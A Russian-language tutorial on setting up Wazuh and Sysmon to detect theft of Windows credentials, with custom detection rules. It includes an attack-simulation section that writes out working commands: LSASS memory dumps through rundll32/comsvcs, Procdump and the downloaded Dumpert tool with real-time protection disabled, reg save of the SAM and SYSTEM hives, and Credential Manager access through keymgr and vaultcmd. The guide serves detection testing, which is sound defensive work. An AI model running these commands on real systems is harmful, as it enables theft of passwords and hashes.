Wazuh. Обнаружение несанкционированного доступа к учетным данным Windows

Введение

Несанкционированный доступ к учетным данным стал критической проблемой безопасности для организаций. Он позволяет злоумышленникам добраться до систем, расширить атаку и повысить привилегии в целевой среде. Этот подход помогает избежать обнаружения и облегчает преступную деятельность.

Чтобы эффективно выявлять и реагировать на несанкционированный доступ к учетным данным в Windows, организации должны внедрить надежную систему мониторинга безопасности для обнаружения необычного поведения.

В этой публикации показано, как имитировать и выявлять следующие атаки:

  • Дамп памяти подсистемы локального центра безопасности (LSASS)
  • Экспорт куста реестра диспетчера учетных записей безопасности (SAM)
  • Использование диспетчера учетных данных Windows

Примечание: мы выступаем против злонамеренного хакерства. Данное руководство следует использовать исключительно для проверки качества работы инструментов безопасности в собственных системах.

Инфраструктура

  • Предварительно внедренная и готовая к использованию Wazuh OVA 4.5.1. Эта виртуальная машина содержит центральные компоненты Wazuh (сервер, indexer, дешборд).

  • Установленная и зарегистрированная на сервере Wazuh конечная точка Windows 11 с агентом Wazuh 4.5.1.

Основные цели злоумышленников в системе Windows

  • Локальные аккаунты
  • Аккаунты домена
  • Браузеры
  • Менеджеры паролей
  • Диспетчер учетных данных Windows

Техники атак

Дамп памяти LSASS

Это техника, которую используют злоумышленники для кражи чувствительной информации, в частности учетных данных, из скомпрометированной системы. Служба подсистемы локального центра безопасности (LSASS) является критически важным процессом Windows, который отвечает за связанные с безопасностью функции, включая аутентификацию пользователей и хранение учетных данных. Извлекая память LSASS, злоумышленники могут получить доступ к незашифрованным паролям и другой чувствительной информации.

Некоторые вариации этой техники:

  • Использование Procdump, Process Explorer или Dumpert: некоторые злоумышленники выбирают специализированные инструменты, которые обеспечивают больший контроль и гибкость, позволяя им нацелиться на конкретные места в памяти и извлечь чувствительную информацию.
  • Rundll32.exe MiniDump с comsvcs: rundll32.exe – это легитимный процесс Windows, необходимый для работы функций динамически подключаемой библиотеки (DLL). Злоумышленники могут использовать одну из них – MiniDump, чтобы извлечь содержимое памяти LSASS в файл DMP (дамп).

К примеру, для этих целей они также могут эксплуатировать возможности служб компонентов (comsvcs) DLL. Вызывая соответствующие функции, злонамеренные хакеры извлекают память LSASS и сохраняют ее в файле DMP для дальнейшего анализа.

Экспорт куста реестра SAM

Диспетчер учетных записей безопасности (SAM) является важным компонентом инфраструктуры безопасности Windows. Он является файлом базы данных, который хранит информацию о локальных аккаунтах пользователей и учетных данных. Это включает чувствительную информацию, например хеши паролей для аутентификации. База данных SAM является фундаментальной частью подсистемы безопасности Windows и играет немаловажную роль в защите учетных записей пользователей и системных ресурсов.

Эксплуатация осуществляется с помощью законной утилиты Windows reg.exe для взаимодействия с системным реестром. Экспортируя его кусты, злоумышленники могут получить доступ к учетным данным в автономном режиме. Это позволяет им взламывать пароли и совершать другие вредоносные действия.

Эксплуатация диспетчера учетных данных Windows

Диспетчер учетных данных Windows – это встроенная функция в операционных системах Microsoft Windows, которая позволяет пользователям хранить и управлять различными учетными данными, такими как юзернеймы, пароли и другая информация для аутентификации. Этот инструмент помогает упростить процесс входа в различные приложения, веб-сайты и сетевые ресурсы. Однако его использование также делает его мишенью для злонамеренных хакеров, которые хотят украсть эти чувствительные учетные данные.

Методы эксплуатации включают:

  • Использование rundll32.exe и сервиса управления ключами: злоумышленники часто используют этот процесс для взаимодействия с диспетчером учетных данных Windows. В частности, они могут использовать файл keymgr.dll для манипулирования учетными данными и утилитой credwiz для создания их резервной копии (в файл .crd). Следует обращать внимание на случаи, когда rundll32.exe используется с командами, которые включают keymdr.dll, особенно с аргументом KRShowKeyMgr.
  • Перечисление процесса VaultCmd: злоумышленники могут использовать его для получения информации о сохраненных учетных данных. Для обнаружения такой атаки следует обращать внимание на команды vaultcmd, которые содержат аргумент listcmd.

Обнаружение с помощью Wazuh

Интеграция Sysmon

Следует выполнить следующие действия, чтобы настроить агент Wazuh для сбора журналов Sysmon и их отправки на сервер Wazuh для анализа:

1) Скачать Sysmon со страницы Microsoft Sysinternals с файлом конфигурации sysmonconfig.xml на конечной точке Windows 11.

2) Выполнить эту команду от имени администратора для установки Sysmon с загруженным файлом конфигурации через PowerShell:

> .\sysmon.exe -accepteula -i sysmonconfig.xml

3) Настроить агент Wazuh для сбора событий Sysmon, добавив следующие параметры для файла конфигурации агента в C:\Program Files (x86)\ossec-agent\ossec.conf:

<ossec_config>
  <localfile>
    <location>Microsoft-Windows-Sysmon/Operational</location>
    <log_format>eventchannel</log_format>
  </localfile>
</ossec_config>

4) Перезапустить агент с помощью команды PowerShell от имени администратора:

> Restart-Service -Name wazuh

Конфигурация сервера Wazuh

1) Добавить следующие правила в файл /var/ossec/etc/rules/local_rules.xml для генерирования уведомлений на дешборде Wazuh в случае проведения любой из указанных выше атак:

<group name="Windows,attack,">
<!-- Detecting an LSASS memory dumping attack using Rundll32.exe Minidump Function or Comsvcs.dll Exploitation -->
  <rule id="100010" level="10">
    <if_sid>61609</if_sid>
    <field name="win.eventdata.image" type="pcre2">(?i)\\\\rundll32.exe</field>
    <field name="win.eventdata.imageLoaded" type="pcre2">(?i)[c-z]:\\\\Windows\\\\System32\\\\comsvcs\.dll</field>
    <description>Possible adversary activity - LSASS memory dump: $(win.eventdata.imageLoaded) loaded by using $(win.eventData.image) on $(win.system.computer).</description>
    <mitre>
      <id>T1003.001</id>
    </mitre>
  </rule>

<!-- Detecting an LSASS memory dumping attack using specialized tools -->
  <rule id="100011" level="10">
    <if_sid>61613</if_sid>
    <field name="win.eventData.targetFilename" type="pcre2">(?i)\\\\[^\\]*\.dmp$</field>
    <field name="win.eventData.image" negate="yes" type="pcre2">(?i)\\\\lsass.*</field>
    <description>Possible adversary activity - LSASS memory dump: $(win.eventdata.image) created a new file on $(win.system.computer) endpoint.</description>
    <mitre>
      <id>T1003.001</id>
    </mitre>
  </rule>

<!-- Detecting a Windows Credential Manager exploitation attack -->
  <rule id="100012" level="10">
    <if_sid>61603</if_sid>
    <field name="win.eventData.Image" type="pcre2">(?i)\\\\rundll32.exe</field>
    <field name="win.eventData.commandLine" type="pcre2">keymgr.dll,KRShowKeyMgr</field>
    <description>Possible adversary activity - Credential Manager Access via $(win.eventData.Image) on $(win.system.computer) endpoint.</description>
    <mitre>
      <id>T1003</id>
    </mitre>
  </rule>

<!--  Detecting a Windows Credential Manager exploitation attack by VaultCmd process enumeration -->
  <rule id="100013" level="10">
    <if_sid>92052</if_sid>
    <field name="win.eventData.image" type="pcre2">(?i)\\\\vaultcmd.exe</field>
    <field name="win.eventData.commandLine" type="pcre2">list</field>
    <description>Possible adversary activity - Attempt to list credentials via $(win.eventData.Image) on $(win.system.computer) endpoint.</description>
    <mitre>
      <id>T1003</id>
    </mitre>
  </rule>

</group>

В котором срабатывают правила:

  • ID 100010 – в случае дампа памяти LSASS с помощью утилит rundll32.exe и comsvcs.dll.

  • ID 100011 – при дампе памяти LSASS с использованием инструментов, таких как procdump или dumpert.

  • ID 100012 – если к диспетчеру учетных данных получают доступ и проводят резервное копирование.

  • ID 100013 – в случае создания списка учетных данных Windows с помощью утилиты vaultcmd.exe.

3) Перезапустить менеджер Wazuh:

# systemctl restart wazuh-manager

Имитация атак

Необходимо выполнить следующие команды в Powershell с правами администратора.

Дамп памяти LSASS

Rundll32.exe MiniDump с comsvcs

Нужно выполнить эту команду для имитации атаки с помощью rundll32.exe и comsvcs.dll:

> rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full

Использование специализированных инструментов

Примечание: система безопасности Windows может блокировать их работу. Необходимо отключить защиту в режиме реального времени на конечной точке Windows 11, чтобы провести имитацию атак с помощью Procdump, Process Explorer или Dumpert.

Procdump:

Это утилита командной строки, разработанная компанией Sysinternals, которую можно использовать для дампа памяти процессов, включая LSASS.

Для имитации атаки необходимо:

1) Скачать Procdump с веб-сайта Microsoft:

> Invoke-WebRequest https://download.sysinternals.com/files/Procdump.zip -OutFile procdump.zip

2) Перейти к месту загрузки и распаковать сжатый файл с помощью команды:

> Expand-Archive procdump.zip

3) Запустить файл в каталоге Procdump следующим образом:

> cd procdump
> .\procdump.exe -accepteula -ma lsass.exe lsass.dmp

Результат должен быть таким:

ProcDump v11.0 - Sysinternals process dump utility 
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[20:04:09] Dump 1 initiated:
C:\Users\Lab\Downloads\Procdump\lsass.dmp
[20:04:09] Waiting for dump to complete...
[20:04:09] Dump 1 writing: Estimated dump file size is 45 MB.
[20:04:14] Dump 1 complete: 45 MB written in 5.4 seconds
[20:04:14] Dump count reached.

Dumpert:

Это утилита для дампа памяти, разработана Outflank. Она использует системные вызовы и технику отключения API для проведения атаки. Для ее имитации необходимо:

1) Скачать Dumpert с помощью команды ниже:

> Invoke-WebRequest https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe -OutFile Outflank-Dumpert.exe

2) Запустить файл следующим образом:

> .\Outflank-Dumpert.exe

Результат должен быть таким:

________          __    _____.__                 __
 \_____  \  __ ___/  |__/ ____\  | _____    ____ |  | __
  /   |   \|  |  \   __\   __\|  | \__  \  /    \|  |/ /
 /    |    \  |  /|  |  |  |  |  |__/ __ \|   |  \    <
 \_______  /____/ |__|  |__|  |____(____  /___|  /__|_ \
         \/                             \/     \/     \/
                                  Dumpert
                               By Cneeliz @Outflank 2019

[1] Checking OS version details:
        [+] Operating System is Windows 10 or Server 2016, build number 22621
        [+] Mapping version specific System calls.
[2] Checking Process details:
        [+] Process ID of lsass.exe is: 852
        [+] NtReadVirtualMemory function pointer at: 0x00007FFA6D86F520
        [+] NtReadVirtualMemory System call nr is: 0x3f
        [+] Unhooking NtReadVirtualMemory.
[3] Create memorydump file:
        [+] Open a process handle.
        [+] Dump lsass.exe memory to: \??\C:\Windows\Temp\dumpert.dmp
        [+] Dump succesful. 

Экспорт куста реестра SAM

Базу данных SAM можно найти в каталоге %SystemRoot%\System32\config\SAM. Для получения данных из куста можно использовать различные техники и инструменты, такие как SAMInside, PwDump и встроенный редактор реестра Windows (Regedit).

Необходимо выполнить одну из следующих команд для имитации экспорта куста реестра SAM с помощью утилиты regedit:

> reg.exe save hklm\sam sam.save

> reg.exe save hklm\system system.save

Вышеперечисленные команды сделают бекап или сохранят копию диспетчера учетных записей безопасности Windows (SAM) и куста HKEY_LOCAL_MACHINE\SYSTEM реестра Windows. Затем злоумышленники могут использовать их для получения хешей всех локальных аккаунтов в системе.

Эксплуатация диспетчера учетных данных Windows

Использование rundll32.exe и процесса управления ключами

Нужно выполнить команду:

> rundll32 keymgr.dll,KRShowKeyMgr

Она открывает «Сохраненные имена пользователей и пароли» на конечной точке Windows. Это облегчает злоумышленникам создание резервной копии списка учетных данных.

Перечисление процессов VaultCmd

Надо выполнить эту команду, чтобы запустить процесс vaultcmd для получения списка учетных данных, которые находятся в отведенном для них хранилище:

> vaultcmd /listcreds:"Windows Credentials" /all

Результат обнаружения

После выполнения каждой имитации атаки на дешборде Wazuh будут отображаться разные события, как показано на изображении ниже:

Примечание: собственное правило Wazuh 92026 запускается в случае дампа куста реестра SAM.

Подписаться на новости